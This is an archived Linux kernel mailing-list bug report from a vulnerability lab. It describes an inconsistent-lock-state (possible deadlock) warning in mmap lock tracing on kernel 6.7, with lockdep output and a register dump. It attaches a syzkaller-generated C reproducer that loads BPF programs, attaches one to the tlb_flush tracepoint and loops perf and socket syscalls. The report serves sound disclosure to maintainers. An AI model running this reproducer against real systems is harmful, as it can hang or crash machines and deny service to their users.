linux-trace-kernel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* inconsistent lock state in __mmap_lock_do_trace_released
@ 2024-05-08  7:32 Ubisectech Sirius
  0 siblings, 0 replies; only message in thread
From: Ubisectech Sirius @ 2024-05-08  7:32 UTC (permalink / raw)
  To: linux-trace-kernel, linux-kernel; +Cc: akpm

[-- Attachment #1: Type: text/plain, Size: 8482 bytes --]

Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.7. Attached to the email were a PoC file of the issue.

Stack dump:

================================
WARNING: inconsistent lock state
6.7.0 #2 Not tainted
--------------------------------
inconsistent {HARDIRQ-ON-W} -> {IN-HARDIRQ-W} usage.
modprobe/17218 [HC1[1]:SC0[0]:HE0:SE1] takes:
ffff88802c6376a0 (lock#13){?.+.}-{2:2}, at: local_lock_acquire include/linux/local_lock_internal.h:29 [inline]
ffff88802c6376a0 (lock#13){?.+.}-{2:2}, at: __mmap_lock_do_trace_released+0x7b/0x740 mm/mmap_lock.c:243
{HARDIRQ-ON-W} state was registered at:
  lock_acquire kernel/locking/lockdep.c:5754 [inline]
  lock_acquire+0x1b1/0x530 kernel/locking/lockdep.c:5719
  local_lock_acquire include/linux/local_lock_internal.h:29 [inline]
  __mmap_lock_do_trace_acquire_returned+0x96/0x740 mm/mmap_lock.c:237
  __mmap_lock_trace_acquire_returned include/linux/mmap_lock.h:36 [inline]
  mmap_read_trylock include/linux/mmap_lock.h:166 [inline]
  get_mmap_lock_carefully mm/memory.c:5372 [inline]
  lock_mm_and_find_vma+0xf1/0x5a0 mm/memory.c:5432
  do_user_addr_fault+0x390/0x1010 arch/x86/mm/fault.c:1387
  handle_page_fault arch/x86/mm/fault.c:1507 [inline]
  exc_page_fault+0x99/0x180 arch/x86/mm/fault.c:1563
  asm_exc_page_fault+0x26/0x30 arch/x86/include/asm/idtentry.h:570
  __put_user_8+0x11/0x20 arch/x86/lib/putuser.S:105
  clear_rseq_cs kernel/rseq.c:257 [inline]
  rseq_ip_fixup kernel/rseq.c:291 [inline]
  __rseq_handle_notify_resume+0xd50/0x1000 kernel/rseq.c:329
  rseq_handle_notify_resume include/linux/sched.h:2361 [inline]
  resume_user_mode_work include/linux/resume_user_mode.h:61 [inline]
  exit_to_user_mode_loop kernel/entry/common.c:171 [inline]
  exit_to_user_mode_prepare+0x170/0x240 kernel/entry/common.c:204
  __syscall_exit_to_user_mode_work kernel/entry/common.c:285 [inline]
  syscall_exit_to_user_mode+0x1e/0x60 kernel/entry/common.c:296
  do_syscall_64+0x53/0x120 arch/x86/entry/common.c:89
  entry_SYSCALL_64_after_hwframe+0x6f/0x77
irq event stamp: 696
hardirqs last  enabled at (695): [<ffffffff813d875b>] flush_tlb_mm_range+0x26b/0x340 arch/x86/mm/tlb.c:1035
hardirqs last disabled at (696): [<ffffffff8a85e448>] sysvec_irq_work+0x18/0xf0 arch/x86/kernel/irq_work.c:17
softirqs last  enabled at (244): [<ffffffff81329389>] local_bh_enable include/linux/bottom_half.h:33 [inline]
softirqs last  enabled at (244): [<ffffffff81329389>] fpregs_unlock arch/x86/include/asm/fpu/api.h:80 [inline]
softirqs last  enabled at (244): [<ffffffff81329389>] fpu_reset_fpregs arch/x86/kernel/fpu/core.c:733 [inline]
softirqs last  enabled at (244): [<ffffffff81329389>] fpu_flush_thread+0x309/0x400 arch/x86/kernel/fpu/core.c:777
softirqs last disabled at (242): [<ffffffff813292ba>] local_bh_disable include/linux/bottom_half.h:20 [inline]
softirqs last disabled at (242): [<ffffffff813292ba>] fpregs_lock arch/x86/include/asm/fpu/api.h:72 [inline]
softirqs last disabled at (242): [<ffffffff813292ba>] fpu_reset_fpregs arch/x86/kernel/fpu/core.c:716 [inline]
softirqs last disabled at (242): [<ffffffff813292ba>] fpu_flush_thread+0x23a/0x400 arch/x86/kernel/fpu/core.c:777

other info that might help us debug this:
 Possible unsafe locking scenario:

       CPU0
       ----
  lock(lock#13);
  <Interrupt>
    lock(lock#13);

 *** DEADLOCK ***

3 locks held by modprobe/17218:
 #0: ffff8880200de658 (&vma->vm_lock->lock){++++}-{3:3}, at: vma_start_read include/linux/mm.h:663 [inline]
 #0: ffff8880200de658 (&vma->vm_lock->lock){++++}-{3:3}, at: lock_vma_under_rcu+0x1e1/0x960 mm/memory.c:5501
 #1: ffffffff8d3a9f60 (rcu_read_lock){....}-{1:2}, at: rcu_lock_acquire include/linux/rcupdate.h:301 [inline]
 #1: ffffffff8d3a9f60 (rcu_read_lock){....}-{1:2}, at: rcu_read_lock include/linux/rcupdate.h:747 [inline]
 #1: ffffffff8d3a9f60 (rcu_read_lock){....}-{1:2}, at: __pte_offset_map+0x42/0x570 mm/pgtable-generic.c:285
 #2: ffff8880491b0258 (ptlock_ptr(ptdesc)#2){+.+.}-{2:2}, at: spin_lock include/linux/spinlock.h:351 [inline]
 #2: ffff8880491b0258 (ptlock_ptr(ptdesc)#2){+.+.}-{2:2}, at: __pte_offset_map_lock+0x10d/0x2f0 mm/pgtable-generic.c:373

stack backtrace:
CPU: 0 PID: 17218 Comm: modprobe Not tainted 6.7.0 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
Call Trace:
 <IRQ>
 __dump_stack lib/dump_stack.c:88 [inline]
 dump_stack_lvl+0xd9/0x150 lib/dump_stack.c:106
 print_usage_bug kernel/locking/lockdep.c:3971 [inline]
 valid_state kernel/locking/lockdep.c:4013 [inline]
 mark_lock_irq kernel/locking/lockdep.c:4216 [inline]
 mark_lock+0x99b/0xd60 kernel/locking/lockdep.c:4678
 mark_usage kernel/locking/lockdep.c:4564 [inline]
 __lock_acquire+0x1339/0x3bb0 kernel/locking/lockdep.c:5091
 lock_acquire kernel/locking/lockdep.c:5754 [inline]
 lock_acquire+0x1b1/0x530 kernel/locking/lockdep.c:5719
 local_lock_acquire include/linux/local_lock_internal.h:29 [inline]
 __mmap_lock_do_trace_released+0x93/0x740 mm/mmap_lock.c:243
 __mmap_lock_trace_released include/linux/mmap_lock.h:42 [inline]
 mmap_read_unlock_non_owner include/linux/mmap_lock.h:178 [inline]
 do_mmap_read_unlock+0x4f/0x60 kernel/bpf/task_iter.c:1054
 irq_work_single+0x127/0x260 kernel/irq_work.c:221
 irq_work_run_list+0x91/0xc0 kernel/irq_work.c:252
 irq_work_run+0x58/0xd0 kernel/irq_work.c:261
 __sysvec_irq_work+0x82/0x3a0 arch/x86/kernel/irq_work.c:22
 sysvec_irq_work+0xcb/0xf0 arch/x86/kernel/irq_work.c:17
 </IRQ>
 <TASK>
 asm_sysvec_irq_work+0x1a/0x20 arch/x86/include/asm/idtentry.h:674
RIP: 0010:put_flush_tlb_info arch/x86/mm/tlb.c:997 [inline]
RIP: 0010:flush_tlb_mm_range+0x175/0x340 arch/x86/mm/tlb.c:1038
Code: 16 38 d0 7c 08 84 d2 0f 85 90 01 00 00 39 0d 12 46 18 0e 0f 87 0d 01 00 00 65 48 8b 05 24 37 c6 7e 48 39 c5 0f 84 8f 00 00 00 <65> ff 0d e4 fe c4 7e bf 01 00 00 00 e8 5a 64 1e 00 65 8b 05 0b 36
RSP: 0000:ffffc90001c17b80 EFLAGS: 00000206
RAX: 00000000000002b7 RBX: 0000000000000000 RCX: 1ffffffff270379e
RDX: 0000000000000000 RSI: 0000000000000002 RDI: 0000000000000000
RBP: ffff888020f0df00 R08: 0000000000000001 R09: fffffbfff27031e0
R10: 0000000000000001 R11: 0000000000000000 R12: 00007ffba5129000
R13: 00007ffba5128000 R14: ffff888020f0e7c0 R15: ffff88802c63be00
 flush_tlb_page arch/x86/include/asm/tlbflush.h:254 [inline]
 ptep_clear_flush+0x13d/0x180 mm/pgtable-generic.c:101
 wp_page_copy mm/memory.c:3188 [inline]
 do_wp_page+0x11fc/0x3590 mm/memory.c:3511
 handle_pte_fault mm/memory.c:5055 [inline]
 __handle_mm_fault+0x15d8/0x3c60 mm/memory.c:5180
 handle_mm_fault+0x3c2/0xa40 mm/memory.c:5345
 do_user_addr_fault+0x2ed/0x1010 arch/x86/mm/fault.c:1364
 handle_page_fault arch/x86/mm/fault.c:1507 [inline]
 exc_page_fault+0x99/0x180 arch/x86/mm/fault.c:1563
 asm_exc_page_fault+0x26/0x30 arch/x86/include/asm/idtentry.h:570
RIP: 0033:0x7ffba50fee1c
Code: ec 38 0f 31 48 c1 e2 20 48 09 d0 48 8d 15 74 90 02 00 48 89 05 75 87 02 00 48 8b 05 66 90 02 00 49 89 d4 4c 2b 25 e4 91 02 00 <48> 89 15 d5 9b 02 00 4c 89 25 be 9b 02 00 48 85 c0 74 6f bf ff ff
RSP: 002b:00007ffea1d38f90 EFLAGS: 00010206
RAX: 000000000000000e RBX: 0000000000000000 RCX: 0000000000000000
RDX: 00007ffba5127e78 RSI: 0000000000000000 RDI: 00007ffea1d39000
RBP: 00007ffea1d38ff0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 00007ffba50fd000
R13: 0000000000000000 R14: 0000000000000000 R15: 00007ffea1d39000
 </TASK>
----------------
Code disassembly (best guess), 1 bytes skipped:
   0:   38 d0                   cmp    %dl,%al
   2:   7c 08                   jl     0xc
   4:   84 d2                   test   %dl,%dl
   6:   0f 85 90 01 00 00       jne    0x19c
   c:   39 0d 12 46 18 0e       cmp    %ecx,0xe184612(%rip)        # 0xe184624
  12:   0f 87 0d 01 00 00       ja     0x125
  18:   65 48 8b 05 24 37 c6    mov    %gs:0x7ec63724(%rip),%rax        # 0x7ec63744
  1f:   7e
  20:   48 39 c5                cmp    %rax,%rbp
  23:   0f 84 8f 00 00 00       je     0xb8
* 29:   65 ff 0d e4 fe c4 7e    decl   %gs:0x7ec4fee4(%rip)        # 0x7ec4ff14 <-- trapping instruction
  30:   bf 01 00 00 00          mov    $0x1,%edi
  35:   e8 5a 64 1e 00          call   0x1e6494
  3a:   65                      gs
  3b:   8b                      .byte 0x8b
  3c:   05                      .byte 0x5
  3d:   0b 36                   or     (%rsi),%esi

Thank you for taking the time to read this email and we look forward to working with you further.










[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 10024 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

static void sleep_ms(uint64_t ms)
{
  usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

#define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off))
#define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len)               \
  *(type*)(addr) =                                                             \
      htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) |           \
            (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len))))

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

static void kill_and_wait(int pid, int* status)
{
  kill(-pid, SIGKILL);
  kill(pid, SIGKILL);
  for (int i = 0; i < 100; i++) {
    if (waitpid(-1, status, WNOHANG | __WALL) == pid)
      return;
    usleep(1000);
  }
  DIR* dir = opendir("/sys/fs/fuse/connections");
  if (dir) {
    for (;;) {
      struct dirent* ent = readdir(dir);
      if (!ent)
        break;
      if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
        continue;
      char abort[300];
      snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
               ent->d_name);
      int fd = open(abort, O_WRONLY);
      if (fd == -1) {
        continue;
      }
      if (write(fd, abort, 1) < 0) {
      }
      close(fd);
    }
    closedir(dir);
  } else {
  }
  while (waitpid(-1, status, __WALL) != pid) {
  }
}

static void setup_test()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
  int iter = 0;
  for (;; iter++) {
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
      setup_test();
      execute_one();
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();
    for (;;) {
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      sleep_ms(1);
      if (current_time_ms() - start < 5000)
        continue;
      kill_and_wait(pid, &status);
      break;
    }
  }
}

uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};

void execute_one(void)
{
  intptr_t res = 0;
  *(uint32_t*)0x200000c0 = 0x1b;
  *(uint32_t*)0x200000c4 = 0;
  *(uint32_t*)0x200000c8 = 0;
  *(uint32_t*)0x200000cc = 0x8000;
  *(uint32_t*)0x200000d0 = 0;
  *(uint32_t*)0x200000d4 = -1;
  *(uint32_t*)0x200000d8 = 0;
  memset((void*)0x200000dc, 0, 16);
  *(uint32_t*)0x200000ec = 0;
  *(uint32_t*)0x200000f0 = -1;
  *(uint32_t*)0x200000f4 = 0;
  *(uint32_t*)0x200000f8 = 0;
  *(uint32_t*)0x200000fc = 0;
  *(uint64_t*)0x20000100 = 0;
  res = syscall(__NR_bpf, /*cmd=*/0ul, /*arg=*/0x200000c0ul, /*size=*/0x48ul);
  if (res != -1)
    r[0] = res;
  *(uint32_t*)0x200000c0 = 0;
  *(uint32_t*)0x200000c4 = 0xc;
  *(uint64_t*)0x200000c8 = 0x20000240;
  memcpy((void*)0x20000240,
         "\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x18"
         "\x12\x00\x00",
         20);
  *(uint32_t*)0x20000254 = r[0];
  memcpy((void*)0x20000258,
         "\x00\x00\x00\x00\x00\x00\x00\x00\xb7\x08\x00\x00\x00\x00\x00\x00\x7b"
         "\x8a\xf8\xff\x00\x00\x00\x00\xbf\xa2\x00\x00\x00\x00\x00\x00\x07\x02"
         "\x00\x00\xf8\xff\xff\xff\xb7\x03\x00\x00\x00\x00\x00\x00\xb7\x04\x00"
         "\x00\x02\x09\x00\x00\x85\x00\x00\x00\x43\x00\x00\x00\x95",
         65);
  *(uint64_t*)0x200000d0 = 0;
  *(uint32_t*)0x200000d8 = 0;
  *(uint32_t*)0x200000dc = 0;
  *(uint64_t*)0x200000e0 = 0;
  *(uint32_t*)0x200000e8 = 0;
  *(uint32_t*)0x200000ec = 0;
  memset((void*)0x200000f0, 0, 16);
  *(uint32_t*)0x20000100 = 0;
  *(uint32_t*)0x20000104 = 0;
  *(uint32_t*)0x20000108 = -1;
  *(uint32_t*)0x2000010c = 0;
  *(uint64_t*)0x20000110 = 0;
  *(uint32_t*)0x20000118 = 0;
  *(uint32_t*)0x2000011c = 0;
  *(uint64_t*)0x20000120 = 0;
  *(uint32_t*)0x20000128 = 0;
  *(uint32_t*)0x2000012c = 0;
  *(uint32_t*)0x20000130 = 0;
  *(uint32_t*)0x20000134 = 0;
  *(uint64_t*)0x20000138 = 0;
  *(uint64_t*)0x20000140 = 0;
  *(uint32_t*)0x20000148 = 0;
  *(uint32_t*)0x2000014c = 0;
  syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000c0ul, /*size=*/0x90ul);
  *(uint32_t*)0x200000c0 = 0x11;
  *(uint32_t*)0x200000c4 = 0xc;
  *(uint64_t*)0x200000c8 = 0x20000240;
  *(uint64_t*)0x200000d0 = 0x20000200;
  memcpy((void*)0x20000200, "GPL\000", 4);
  *(uint32_t*)0x200000d8 = 0;
  *(uint32_t*)0x200000dc = 0;
  *(uint64_t*)0x200000e0 = 0;
  *(uint32_t*)0x200000e8 = 0;
  *(uint32_t*)0x200000ec = 0;
  memset((void*)0x200000f0, 0, 16);
  *(uint32_t*)0x20000100 = 0;
  *(uint32_t*)0x20000104 = 0;
  *(uint32_t*)0x20000108 = -1;
  *(uint32_t*)0x2000010c = 0;
  *(uint64_t*)0x20000110 = 0;
  *(uint32_t*)0x20000118 = 0;
  *(uint32_t*)0x2000011c = 0;
  *(uint64_t*)0x20000120 = 0;
  *(uint32_t*)0x20000128 = 0;
  *(uint32_t*)0x2000012c = 0;
  *(uint32_t*)0x20000130 = 0;
  *(uint32_t*)0x20000134 = 0;
  *(uint64_t*)0x20000138 = 0;
  *(uint64_t*)0x20000140 = 0;
  *(uint32_t*)0x20000148 = 0;
  *(uint32_t*)0x2000014c = 0;
  res = syscall(__NR_bpf, /*cmd=*/5ul, /*arg=*/0x200000c0ul, /*size=*/0x90ul);
  if (res != -1)
    r[1] = res;
  *(uint64_t*)0x20000080 = 0x20000000;
  memcpy((void*)0x20000000, "tlb_flush\000", 10);
  *(uint32_t*)0x20000088 = r[1];
  syscall(__NR_bpf, /*cmd=*/0x11ul, /*arg=*/0x20000080ul, /*size=*/0x10ul);
  *(uint32_t*)0x200003c0 = 2;
  *(uint32_t*)0x200003c4 = 0x80;
  *(uint8_t*)0x200003c8 = 0x9a;
  *(uint8_t*)0x200003c9 = 1;
  *(uint8_t*)0x200003ca = 0;
  *(uint8_t*)0x200003cb = 0;
  *(uint32_t*)0x200003cc = 0;
  *(uint64_t*)0x200003d0 = 0;
  *(uint64_t*)0x200003d8 = 0;
  *(uint64_t*)0x200003e0 = 0;
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 0, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 1, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 2, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 3, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 4, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 5, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 6, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 7, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 8, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 9, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 10, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 11, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 12, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 13, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 14, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 15, 2);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 17, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 18, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 19, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 20, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 21, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 22, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 23, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 24, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 25, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 26, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 27, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 28, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 29, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 30, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 31, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 32, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 33, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 34, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 35, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 36, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 37, 1);
  STORE_BY_BITMASK(uint64_t, , 0x200003e8, 0, 38, 26);
  *(uint32_t*)0x200003f0 = 0;
  *(uint32_t*)0x200003f4 = 0;
  *(uint64_t*)0x200003f8 = 0;
  *(uint64_t*)0x20000400 = 0;
  *(uint64_t*)0x20000408 = 0;
  *(uint64_t*)0x20000410 = 0;
  *(uint32_t*)0x20000418 = 0;
  *(uint32_t*)0x2000041c = 0;
  *(uint64_t*)0x20000420 = 0;
  *(uint32_t*)0x20000428 = 0;
  *(uint16_t*)0x2000042c = 0;
  *(uint16_t*)0x2000042e = 0;
  *(uint32_t*)0x20000430 = 0;
  *(uint32_t*)0x20000434 = 0;
  *(uint64_t*)0x20000438 = 0;
  syscall(__NR_perf_event_open, /*attr=*/0x200003c0ul, /*pid=*/0, /*cpu=*/0ul,
          /*group=*/-1, /*flags=*/0ul);
  syscall(__NR_socket, /*domain=*/0x11ul, /*type=SOCK_RAW*/ 3ul,
          /*proto=*/0x300);
  syscall(__NR_sendmsg, /*fd=*/-1, /*msg=*/0ul, /*f=*/0ul);
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  loop();
  return 0;
}

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2024-05-08  7:48 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2024-05-08  7:32 inconsistent lock state in __mmap_lock_do_trace_released Ubisectech Sirius

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).